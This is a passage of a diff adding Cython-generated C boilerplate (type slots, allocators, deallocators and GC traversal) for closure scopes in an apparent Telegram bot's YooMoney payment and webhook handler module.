(((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_exists) { + e = (*v)(p->__pyx_v_exists, a); if (e) return e; + } + if (p->__pyx_v_i) { + e = (*v)(p->__pyx_v_i, a); if (e) return e; + } + if (p->__pyx_v_key_count) { + e = (*v)(p->__pyx_v_key_count, a); if (e) return e; + } + if (p->__pyx_v_session) { + e = (*v)(p->__pyx_v_session, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct__process_callback_pay_yoomoney", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct__process_callback_pay_yoomoney", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_account_id); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_customer_id); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)o; + if (p->__pyx_v_account_id) { + e = (*v)(p->__pyx_v_account_id, a); if (e) return e; + } + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_customer_id) { + e = (*v)(p->__pyx_v_customer_id, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_1_process_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_calculated_hash); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_notification_secret); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_sha1_hash); + Py_CLEAR(p->__pyx_v_string_to_hash); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook)))) { + __pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook[__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook++] = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)o; + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_calculated_hash) { + e = (*v)(p->__pyx_v_calculated_hash, a); if (e) return e; + } + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_notification_secret) { + e = (*v)(p->__pyx_v_notification_secret, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_sha1_hash) { + e = (*v)(p->__pyx_v_sha1_hash, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_spec = { + "handlers.payments.yoomoney_pay.__pyx_scope_struct_2_yoomoney_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yoomoney_pay.""__pyx_scope_struct_2_yoomoney_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { + 